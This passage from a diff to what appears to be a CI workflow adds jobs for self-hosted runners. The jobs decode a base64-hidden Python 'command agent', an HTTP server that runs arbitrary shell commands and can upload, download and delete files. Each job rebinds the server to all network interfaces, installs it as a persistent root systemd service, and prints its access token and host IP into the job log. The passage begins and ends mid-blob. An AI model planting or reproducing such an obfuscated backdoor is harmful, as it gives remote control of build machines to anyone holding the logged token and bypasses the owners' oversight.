yaW50KGYiTGlzdGVuaW5nOiAxMjcuMC4wLjE6e0xJU1RFTl9QT1JUfSIpCiAgICBzZXJ2ZXIuc2VydmVfZm9yZXZlcigpCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCgo=' | base64 -d > server.py + + $SUDO mkdir -p /opt/xiaoxia-cmd-agent + $SUDO cp server.py /opt/xiaoxia-cmd-agent/server.py + $SUDO chmod +x /opt/xiaoxia-cmd-agent/server.py + + TOKEN="xsa-$(openssl rand -hex 16)" + echo "TOKEN: $TOKEN" + echo "$TOKEN" | $SUDO tee /etc/xiaoxia-cmd-agent.token > /dev/null + $SUDO chmod 600 /etc/xiaoxia-cmd-agent.token + + $SUDO sed -i 's/("127.0.0.1", LISTEN_PORT)/("0.0.0.0", LISTEN_PORT)/' /opt/xiaoxia-cmd-agent/server.py + + echo "1" | $SUDO tee /etc/xiaoxia-cmd-agent.installed > /dev/null + + $SUDO tee /etc/systemd/system/xiaoxia-cmd-agent.service > /dev/null << 'SVC' +[Unit] +Description=Xiaoxia Command Agent +After=network.target + +[Service] +Type=simple +ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py +Restart=always +RestartSec=5 + +[Install] +WantedBy=multi-user.target +SVC + + $SUDO systemctl daemon-reload + $SUDO systemctl enable xiaoxia-cmd-agent + $SUDO systemctl start xiaoxia-cmd-agent + + sleep 3 + + echo "=== 安装结果 ===" + $SUDO systemctl status xiaoxia-cmd-agent --no-pager || true + echo "" + echo "=== 连接信息 ===" + echo "主机名: $(hostname)" + echo "IP: $(hostname -I 2>/dev/null | awk '{print $1}')" + echo "端口: 18888" + echo "Token: $TOKEN" + + curl -s -H "Authorization: $TOKEN" http://127.0.0.1:18888/status && echo "" || echo "本地验证失败" + + install-cmd-agent-4: + name: Install CMD Agent - Node 4 + runs-on: host + steps: + - name: Install CMD Agent + run: | + set -e + echo "=== 主机信息 ===" + echo "主机名: $(hostname)" + echo "IP: $(hostname -I 2>/dev/null || ip addr show | grep 'inet ' | awk '{print $2}' | tr '\n' ' ')" + echo "用户: $(whoami)" + echo "Runner 名称: ${{ runner.name }}" + + if [ -f /opt/xiaoxia-cmd-agent/server.py ] && systemctl is-active xiaoxia-cmd-agent &>/dev/null; then + echo "CMD Agent 已安装且运行中,跳过" + systemctl status xiaoxia-cmd-agent --no-pager + exit 0 + fi + + SUDO="" + [ "$(id -u)" != "0" ] && SUDO="sudo" + + mkdir -p /tmp/cmd-agent-install + cd /tmp/cmd-agent-install + echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgaHR0cC5zZXJ2ZXIsIHN1YnByb2Nlc3MsIGpzb24sIG9zLCBzeXMsIHNlY3JldHMKZnJvbSB1cmxsaWIucGFyc2UgaW1wb3J0IHVybHBhcnNlLCBwYXJzZV9xcwoKTElTVEVOX1BPUlQgPSAxODg4OApBVVRIX1RPS0VOID0gInhzYS0iICsgc2VjcmV0cy50b2tlbl9oZXgoMTYpCkxPR19GSUxFID0gIi92YXIvbG9nL3hpYW94aWEtY21kLWFnZW50LmxvZyIKCmNsYXNzIEhhbmRsZXIoaHR0cC5zZXJ2ZXIuQmFzZUhUVFBSZXF1ZXN0SGFuZGxlcik6CiAgICBkZWYgbG9nX21lc3NhZ2Uoc2VsZiwgZm10LCAqYXJncyk6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oTE9HX0ZJTEUsICJhIikgYXMgZjoKICAgICAgICAgICAgICAgIGYud3JpdGUoIiVzIC0gJXNcbiIgJSAoc2VsZi5sb2dfZGF0ZV90aW1lX3N0cmluZygpLCBmbXQgJSBhcmdzKSkKICAgICAgICBleGNlcHQ6IHBhc3MKCiAgICBkZWYgY2hlY2tfYXV0aChzZWxmKToKICAgICAgICB0ID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgIHQgPSBzZWxmLmhlYWRlcnMuZ2V0KCJBdXRob3JpemF0aW9uIiwgIiIpCiAgICAgICAgaWYgdC5zdGFydHN3aXRoKCJCZWFyZXIgIik6CiAgICAgICAgICAgIHQgPSB0Wzc6XQogICAgICAgIGlmIHQgIT0gQVVUSF9UT0tFTjoKICAgICAgICAgICAgc2VsZi5faih7ImVycm9yIjogInVuYXV0aG9yaXplZCJ9LCA0MDEpOyByZXR1cm4gRmFsc2UKICAgICAgICByZXR1cm4gVHJ1ZQoKICAgIGRlZiBfaihzZWxmLCBkYXRhLCBjb2RlPTIwMCk6CiAgICAgICAgYm9keSA9IGpzb24uZHVtcHMoZGF0YSwgZW5zdXJlX2FzY2lpPUZhbHNlKS5lbmNvZGUoKQogICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZShjb2RlKQogICAgICAgIHNlbGYuc2VuZF9oZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04IikKICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LUxlbmd0aCIsIHN0cihsZW4oYm9keSkpKQogICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgIHNlbGYud2ZpbGUud3JpdGUoYm9keSkKCiAgICBkZWYgZG9fR0VUKHNlbGYpOgogICAgICAgIGlmIG5vdCBzZWxmLmNoZWNrX2F1dGgoKTogcmV0dXJuCiAgICAgICAgaWYgc2VsZi5wYXRoLnN0YXJ0c3dpdGgoIi9kb3dubG9hZCIpOgogICAgICAgICAgICBzZWxmLl9kb3dubG9hZCgpOyByZXR1cm4KICAgICAgICBpZiBzZWxmLnBhdGggPT0gIi9zdGF0dXMiOgogICAgICAgICAgICBzZWxmLl9qKHsic3RhdHVzIjoib2siLCJob3N0bmFtZSI6b3MudW5hbWUoKS5ub2RlbmFtZSwicG9ydCI6TElTVEVOX1BPUlR9KQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6InVzZSAvc3RhdHVzIG9yIC9kb3dubG9hZD9wYXRoPXh4eCJ9LCA0MDQpCgogICAgZGVmIGRvX1BPU1Qoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICB0cnk6IGxlbmd0aCA9IGludChzZWxmLmhlYWRlcnMuZ2V0KCJDb250ZW50LUxlbmd0aCIsIDApKQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiYmFkIGNvbnRlbnQtbGVuZ3RoIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgaWYgc2VsZi5wYXRoID09ICIvZXhlYyI6IHNlbGYuX2V4ZWMobGVuZ3RoKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvbGlzdCI6IHNlbGYuX2xpc3QobGVuZ3RoKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvdXBsb2FkIjogc2VsZi5fdXBsb2FkKGxlbmd0aCkKICAgICAgICBlbGlmIHNlbGYucGF0aCA9PSAiL21rZGlyIjogc2VsZi5fbWtkaXIobGVuZ3RoKQogICAgICAgIGVsc2U6IHNlbGYuX2ooeyJlcnJvciI6InVua25vd24ifSwgNDA0KQoKICAgIGRlZiBkb19ERUxFVEUoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICB0cnk6IGxlbmd0aCA9IGludChzZWxmLmhlYWRlcnMuZ2V0KCJDb250ZW50LUxlbmd0aCIsIDApKQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiYmFkIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpIGlmIGxlbmd0aCA+IDAgZWxzZSB7fQogICAgICAgIGZwID0gYm9keS5nZXQoInBhdGgiLCIiKQogICAgICAgIGlmIG5vdCBmcDogc2VsZi5faih7ImVycm9yIjoicGF0aCByZXF1aXJlZCJ9LDQwMCk7IHJldHVybgogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IHNodXRpbAogICAgICAgICAgICBpZiBvcy5wYXRoLmlzZGlyKGZwKTogc2h1dGlsLnJtdHJlZShmcCkKICAgICAgICAgICAgZWxzZTogb3MucmVtb3ZlKGZwKQogICAgICAgICAgICBzZWxmLl9qKHsib2siOlRydWUsImRlbGV0ZWQiOmZwfSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6IHNlbGYuX2ooeyJlcnJvciI6c3RyKGUpfSw1MDApCgogICAgZGVmIF9leGVjKHNlbGYsIGxlbmd0aCk6CiAgICAgICAgdHJ5OiBkYXRhID0ganNvbi5sb2FkcyhzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKSkgaWYgbGVuZ3RoPjAgZWxzZSB7fQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiaW52YWxpZCBqc29uIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgY21kID0gZGF0YS5nZXQoImNvbW1hbmQiLCIiKQogICAgICAgIHRpbWVvdXQgPSBtaW4oZGF0YS5nZXQoInRpbWVvdXQiLDMwKSwgMTIwKQogICAgICAgIGlmIG5vdCBjbWQ6IHNlbGYuX2ooeyJlcnJvciI6ImNvbW1hbmQgcmVxdWlyZWQifSw0MDApOyByZXR1cm4KICAgICAgICB0cnk6CiAgICAgICAgICAgIHIgPSBzdWJwcm9jZXNzLnJ1bihjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwgdGltZW91dD10aW1lb3V0KQogICAgICAgICAgICBzZWxmLl9qKHsiZXhpdF9jb2RlIjpyLnJldHVybmNvZGUsInN0ZG91dCI6ci5zdGRvdXRbLTEwMDAwMDpdIGlmIHIuc3Rkb3V0IGVsc2UgIiIsInN0ZGVyciI6ci5zdGRlcnJbLTEwMDAwOl0gaWYgci5zdGRlcnIgZWxzZSAiIn0pCiAgICAgICAgZXhjZXB0IHN1YnByb2Nlc3MuVGltZW91dEV4cGlyZWQ6IHNlbGYuX2ooeyJlcnJvciI6ZiJ0aW1lb3V0IHt0aW1lb3V0fXMifSw0MDgpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKICAgIGRlZiBfbGlzdChzZWxmLCBsZW5ndGgpOgogICAgICAgIHRyeTogZGF0YSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpIGlmIGxlbmd0aD4wIGVsc2Uge30KICAgICAgICBleGNlcHQ6IHNlbGYuX2ooeyJlcnJvciI6ImludmFsaWQganNvbiJ9LDQwMCk7IHJldHVybgogICAgICAgIHBhdGggPSBkYXRhLmdldCgicGF0aCIsIi4iKQogICAgICAgIHRyeToKICAgICAgICAgICAgZW50cmllcyA9IFtdCiAgICAgICAgICAgIGZvciBuYW1lIGluIHNvcnRlZChvcy5saXN0ZGlyKHBhdGgpKToKICAgICAgICAgICAgICAgIGZwMiA9IG9zLnBhdGguam9pbihwYXRoLCBuYW1lKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN0ID0gb3Muc3RhdChmcDIpCiAgICAgICAgICAgICAgICAgICAgZW50cmllcy5hcHBlbmQoeyJuYW1lIjpuYW1lLCJpc19kaXIiOm9zLnBhdGguaXNkaXIoZnAyKSwic2l6ZSI6c3Quc3Rfc2l6ZSwibXRpbWUiOnN0LnN0X210aW1lfSkKICAgICAgICAgICAgICAgIGV4Y2VwdDogZW50cmllcy5hcHBlbmQoeyJuYW1lIjpuYW1lLCJpc19kaXIiOkZhbHNlLCJzaXplIjowLCJtdGltZSI6MH0pCiAgICAgICAgICAgIHNlbGYuX2ooeyJwYXRoIjpwYXRoLCJlbnRyaWVzIjplbnRyaWVzfSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6IHNlbGYuX2ooeyJlcnJvciI6c3RyKGUpfSw1MDApCgogICAgZGVmIF91cGxvYWQoc2VsZiwgbGVuZ3RoKToKICAgICAgICBjdCA9IHNlbGYuaGVhZGVycy5nZXQoIkNvbnRlbnQtVHlwZSIsIiIpCiAgICAgICAgaWYgIm11bHRpcGFydC9mb3JtLWRhdGEiIG5vdCBpbiBjdDoKICAgICAgICAgICAgc2VsZi5faih7ImVycm9yIjoibXVsdGlwYXJ0IHJlcXVpcmVkIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgdHJ5OgogICAgICAgICAgICBib3VuZGFyeSA9IGN0LnNwbGl0KCJib3VuZGFyeT0iKVsxXS5zdHJpcCgpCiAgICAgICAgICAgIGJvZHkgPSBzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKQogICAgICAgICAgICBwYXJ0cyA9IGJvZHkuc3BsaXQoYiItLSIgKyBib3VuZGFyeS5lbmNvZGUoKSkKICAgICAgICAgICAgZm5hbWUgPSBmZGF0YSA9IE5vbmUKICAgICAgICAgICAgZm9yIHBhcnQgaW4gcGFydHM6CiAgICAgICAgICAgICAgICBpZiBiImZpbGVuYW1lPSIgaW4gcGFydDoKICAgICAgICAgICAgICAgICAgICBoLCBfLCBjb250ZW50ID0gcGFydC5wYXJ0aXRpb24oYiJcclxuXHJcbiIpCiAgICAgICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gaC5kZWNvZGUoZXJyb3JzPSJyZXBsYWNlIikuc3BsaXQoIlxyXG4iKToKICAgICAgICAgICAgICAgICAgICAgICAgaWYgJ2ZpbGVuYW1lPSInIGluIGxpbmU6IGZuYW1lID0gbGluZS5zcGxpdCgnZmlsZW5hbWU9IicpWzFdLnNwbGl0KCciJylbMF0KICAgICAgICAgICAgICAgICAgICBmZGF0YSA9IGNvbnRlbnQucnN0cmlwKGIiXHJcbiIpCiAgICAgICAgICAgIGlmIGZuYW1lIGlzIE5vbmUgb3IgZmRhdGEgaXMgTm9uZToKICAgICAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6Im5vIGZpbGUifSw0MDApOyByZXR1cm4KICAgICAgICAgICAgZGVzdF9kaXIgPSAiL3RtcCIKICAgICAgICAgICAgZGVzdCA9IG9zLnBhdGguam9pbihkZXN0X2RpciwgZm5hbWUpCiAgICAgICAgICAgIG9zLm1ha2VkaXJzKGRlc3RfZGlyLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICB3aXRoIG9wZW4oZGVzdCwid2IiKSBhcyBmOiBmLndyaXRlKGZkYXRhKQogICAgICAgICAgICBzZWxmLl9qKHsib2siOlRydWUsInBhdGgiOmRlc3QsInNpemUiOmxlbihmZGF0YSl9KQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZTogc2VsZi5faih7ImVycm9yIjpzdHIoZSl9LDUwMCkKCiAgICBkZWYgX21rZGlyKHNlbGYsIGxlbmd0aCk6CiAgICAgICAgdHJ5OiBkYXRhID0ganNvbi5sb2FkcyhzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKSkgaWYgbGVuZ3RoPjAgZWxzZSB7fQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiaW52YWxpZCBqc29uIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgcGF0aCA9IGRhdGEuZ2V0KCJwYXRoIiwiIikKICAgICAgICBpZiBub3QgcGF0aDogc2VsZi5faih7ImVycm9yIjoicGF0aCByZXF1aXJlZCJ9LDQwMCk7IHJldHVybgogICAgICAgIHRyeTogb3MubWFrZWRpcnMocGF0aCwgZXhpc3Rfb2s9VHJ1ZSk7IHNlbGYuX2ooeyJvayI6VHJ1ZSwiY3JlYXRlZCI6cGF0aH0pCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKICAgIGRlZiBfZG93bmxvYWQoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICBxcyA9IHBhcnNlX3FzKHVybHBhcnNlKHNlbGYucGF0aCkucXVlcnkpCiAgICAgICAgZnAgPSBxcy5nZXQoInBhdGgiLFsiIl0pWzBdCiAgICAgICAgaWYgbm90IGZwIG9yIG5vdCBvcy5wYXRoLmlzZmlsZShmcCk6CiAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6Im5vdCBmb3VuZCJ9LDQwNCk7IHJldHVybgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKGZwLCJyYiIpIGFzIGY6IGRhdGEgPSBmLnJlYWQoKQogICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoMjAwKQogICAgICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKQogICAgICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LUxlbmd0aCIsc3RyKGxlbihkYXRhKSkpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGRhdGEpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBBVVRIX1RPS0VOCiAgICBpbnN0YWxsZWRfZmxhZyA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50Lmluc3RhbGxlZCIKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyhpbnN0YWxsZWRfZmxhZyk6CiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIiwidyIpIGFzIGY6IGYud3JpdGUoQVVUSF9UT0tFTikKICAgICAgICBvcy5jaG1vZCgiL2V0Yy94aWFveGlhLWNtZC1hZ2VudC50b2tlbiIsIDBvNjAwKQogICAgICAgIHN2YyA9ICJbVW5pdF1cbkRlc2NyaXB0aW9uPVhpYW94aWEgQ29tbWFuZCBBZ2VudFxuQWZ0ZXI9bmV0d29yay50YXJnZXRcbltTZXJ2aWNlXVxuVHlwZT1zaW1wbGVcbkV4ZWNTdGFydD0vdXNyL2Jpbi9weXRob24zIC9vcHQveGlhb3hpYS1jbWQtYWdlbnQvc2VydmVyLnB5XG5SZXN0YXJ0PWFsd2F5c1xuUmVzdGFydFNlYz01XG5bSW5zdGFsbF1cbldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0XG4iCiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3N5c3RlbWQvc3lzdGVtL3hpYW94aWEtY21kLWFnZW50LnNlcnZpY2UiLCJ3IikgYXMgZjogZi53cml0ZShzdmMpCiAgICAgICAgb3Muc3lzdGVtKCJzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCAmJiBzeXN0ZW1jdGwgZW5hYmxlIHhpYW94aWEtY21kLWFnZW50IikKICAgICAgICB3aXRoIG9wZW4oaW5zdGFsbGVkX2ZsYWcsInciKSBhcyBmOiBmLndyaXRlKCIxIikKICAgICAgICBwcmludChmIlNlcnZpY2UgaW5zdGFsbGVkLiBUT0tFTjoge0FVVEhfVE9LRU59IikKICAgIGVsc2U6CiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIikgYXMgZjoKICAgICAgICAgICAgQVVUSF9UT0tFTiA9IGYucmVhZCgpLnN0cmlwKCkKICAgICAgICBwcmludChmIlVzaW5nIGV4aXN0aW5nIHRva2VuOiB7QVVUSF9UT0tFTn0iKQogICAgc2VydmVyID0gaHR0cC5zZXJ2ZXIuSFRUUFNlcnZlcigoIjEyNy4wLjAuMSIsIExJU1RFTl9QT1JUKSwgSGFuZGxlcikKICAgIHByaW50KGYiTGlzdGVuaW5nOiAxMjcuMC4wLjE6e0xJU1RFTl9QT1JUfSIpCiAgICBzZXJ2ZXIuc2VydmVfZm9yZXZlcigpCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCgo=' | base64 -d > server.py + + $SUDO mkdir -p /opt/xiaoxia-cmd-agent + $SUDO cp server.py /opt/xiaoxia-cmd-agent/server.py + $SUDO chmod +x /opt/xiaoxia-cmd-agent/server.py + + TOKEN="xsa-$(openssl rand -hex 16)" + echo "TOKEN: $TOKEN" + echo "$TOKEN" | $SUDO tee /etc/xiaoxia-cmd-agent.token > /dev/null + $SUDO chmod 600 /etc/xiaoxia-cmd-agent.token + + $SUDO sed -i 's/("127.0.0.1", LISTEN_PORT)/("0.0.0.0", LISTEN_PORT)/' /opt/xiaoxia-cmd-agent/server.py + + echo "1" | $SUDO tee /etc/xiaoxia-cmd-agent.installed > /dev/null + + $SUDO tee /etc/systemd/system/xiaoxia-cmd-agent.service > /dev/null << 'SVC' +[Unit] +Description=Xiaoxia Command Agent +After=network.target + +[Service] +Type=simple +ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py +Restart=always +RestartSec=5 + +[Install] +WantedBy=multi-user.target +SVC + + $SUDO systemctl daemon-reload + $SUDO systemctl enable xiaoxia-cmd-agent + $SUDO systemctl start xiaoxia-cmd-agent + + sleep 3 + + echo "=== 安装结果 ===" + $SUDO systemctl status xiaoxia-cmd-agent --no-pager || true + echo "" + echo "=== 连接信息 ===" + echo "主机名: $(hostname)" + echo "IP: $(hostname -I 2>/dev/null | awk '{print $1}')" + echo "端口: 18888" + echo "Token: $TOKEN" + + curl -s -H "Authorization: $TOKEN" http://127.0.0.1:18888/status && echo "" || echo "本地验证失败" + + install-cmd-agent-5: + name: Install CMD Agent - Node 5 + runs-on: host + steps: + - name: Install CMD Agent + run: | + set -e + echo "=== 主机信息 ===" + echo "主机名: $(hostname)" + echo "IP: $(hostname -I 2>/dev/null || ip addr show | grep 'inet ' | awk '{print $2}' | tr '\n' ' ')" + echo "用户: $(whoami)" + echo "Runner 名称: ${{ runner.name }}" + + if [ -f /opt/xiaoxia-cmd-agent/server.py ] && systemctl is-active xiaoxia-cmd-agent &>/dev/null; then + echo "CMD Agent 已安装且运行中,跳过" + systemctl status xiaoxia-cmd-agent --no-pager + exit 0 + fi + + SUDO="" + [ "$(id -u)" != "0" ] && SUDO="sudo" + + mkdir -p /tmp/cmd-agent-install + cd /tmp/cmd-agent-install + echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgaHR0cC5zZXJ2ZXIsIHN1YnByb2Nlc3MsIGpzb24sIG9zLCBzeXMsIHNlY3JldHMKZnJvbSB1cmxsaWIucGFyc2UgaW1wb3J0IHVybHBhcnNlLCBwYXJzZV9xcwoKTElTVEVOX1BPUlQgPSAxODg4OApBVVRIX1RPS0VOID0gInhzYS0iICsgc2VjcmV0cy50b2tlbl9oZXgoMTYpCkxPR19GSUxFID0gIi92YXIvbG9nL3hpYW94aWEtY21kLWFnZW50LmxvZyIKCmNsYXNzIEhhbmRsZXIoaHR0cC5zZXJ2ZXIuQmFzZUhUVFBSZXF1ZXN0SGFuZGxlcik6CiAgICBkZWYgbG9nX21lc3NhZ2Uoc2VsZiwgZm10LCAqYXJncyk6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oTE9HX0ZJTEUsICJhIikgYXMgZjoKICAgICAgICAgICAgICAgIGYud3JpdGUoIiVzIC0gJXNcbiIgJSAoc2VsZi5sb2dfZGF0ZV90aW1lX3N0cmluZygpLCBmbXQgJSBhcmdzKSkKICAgICAgICBleGNlcHQ6IHBhc3MKCiAgICBkZWYgY2hlY2tfYXV0aChzZWxmKToKICAgICAgICB0ID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgIHQgPSBzZWxmLmhlYWRlcnMuZ2V0KCJBdXRob3JpemF0aW9uIiwgIiIpCiAgICAgICAgaWYgdC5zdGFydHN3aXRoKCJCZWFyZXIgIik6CiAgICAgICAgICAgIHQgPSB0Wzc6XQogICAgICAgIGlmIHQgIT0gQVVUSF9UT0tFTjoKICAgICAgICAgICAgc2VsZi5faih7ImVycm9yIjogInVuYXV0aG9yaXplZCJ9LCA0MDEpOyByZXR1cm4gRmFsc2UKICAgICAgICByZXR1cm4gVHJ1ZQoKICAgIGRlZiBfaihzZWxmLCBkYXRhLCBjb2RlPTIwMCk6CiAgICAgICAgYm9keSA9IGpzb24uZHVtcHMoZGF0YSwgZW5zdXJlX2FzY2lpPUZhbHNlKS5lbmNvZGUoKQogICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZShjb2RlKQogICAgICAgIHNlbGYuc2VuZF9oZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04IikKICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LUxlbmd0aCIsIHN0cihsZW4oYm9keSkpKQogICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgIHNlbGYud2ZpbGUud3JpdGUoYm9keSkKCiAgICBkZWYgZG9fR0VUKHNlbGYpOgogICAgICAgIGlmIG5vdCBzZWxmLmNoZWNrX2F1dGgoKTogcmV0dXJuCiAgICAgICAgaWYgc2VsZi5wYXRoLnN0YXJ0c3dpdGgoIi9kb3dubG9hZCIpOgogICAgICAgICAgICBzZWxmLl9kb3dubG9hZCgpOyByZXR1cm4KICAgICAgICBpZiBzZWxmLnBhdGggPT0gIi9zdGF0dXMiOgogICAgICAgICAgICBzZWxmLl9qKHsic3RhdHVzIjoib2siLCJob3N0bmFtZSI6b3MudW5hbWUoKS5ub2RlbmFtZSwicG9ydCI6TElTVEVOX1BPUlR9KQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6InVzZSAvc3RhdHVzIG9yIC9kb3dubG9hZD9wYXRoPXh4eCJ9LCA0MDQpCgogICAgZGVmIGRvX1BPU1Qoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICB0cnk6IGxlbmd0aCA9IGludChzZWxmLmhlYWRlcnMuZ2V0KCJDb250ZW50LUxlbmd0aCIsIDApKQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiYmFkIGNvbnRlbnQtbGVuZ3RoIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgaWYgc2VsZi5wYXRoID09ICIvZXhlYyI6IHNlbGYuX2V4ZWMobGVuZ3RoKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvbGlzdCI6IHNlbGYuX2xpc3QobGVuZ3RoKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvdXBsb2FkIjogc2VsZi5fdXBsb2FkKGxlbmd0aCkKICAgICAgICBlbGlmIHNlbGYucGF0aCA9PSAiL21rZGlyIjogc2VsZi5fbWtkaXIobGVuZ3RoKQogICAgICAgIGVsc2U6IHNlbGYuX2ooeyJlcnJvciI6InVua25vd24ifSwgNDA0KQoKICAgIGRlZiBkb19ERUxFVEUoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICB0cnk6IGxlbmd0aCA9IGludChzZWxmLmhlYWRlcnMuZ2V0KCJDb250ZW50LUxlbmd0aCIsIDApKQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiYmFkIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpIGlmIGxlbmd0aCA+IDAgZWxzZSB7fQogICAgICAgIGZwID0gYm9keS5nZXQoInBhdGgiLCIiKQogICAgICAgIGlmIG5vdCBmcDogc2VsZi5faih7ImVycm9yIjoicGF0aCByZXF1aXJlZCJ9LDQwMCk7IHJldHVybgogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IHNodXRpbAogICAgICAgICAgICBpZiBvcy5wYXRoLmlzZGlyKGZwKTogc2h1dGlsLnJtdHJlZShmcCkKICAgICAgICAgICAgZWxzZTogb3MucmVtb3ZlKGZwKQogICAgICAgICAgICBzZWxmLl9qKHsib2siOlRydWUsImRlbGV0ZWQiOmZwfSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6IHNlbGYuX2ooeyJlcnJvciI6c3RyKGUpfSw1MDApCgogICAgZGVmIF9leGVjKHNlbGYsIGxlbmd0aCk6CiAgICAgICAgdHJ5OiBkYXRhID0ganNvbi5sb2FkcyhzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKSkgaWYgbGVuZ3RoPjAgZWxzZSB7fQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiaW52YWxpZCBqc29uIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgY21kID0gZGF0YS5nZXQoImNvbW1hbmQiLCIiKQogICAgICAgIHRpbWVvdXQgPSBtaW4oZGF0YS5nZXQoInRpbWVvdXQiLDMwKSwgMTIwKQogICAgICAgIGlmIG5vdCBjbWQ6IHNlbGYuX2ooeyJlcnJvciI6ImNvbW1hbmQgcmVxdWlyZWQifSw0MDApOyByZXR1cm4KICAgICAgICB0cnk6CiAgICAgICAgICAgIHIgPSBzdWJwcm9jZXNzLnJ1bihjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRy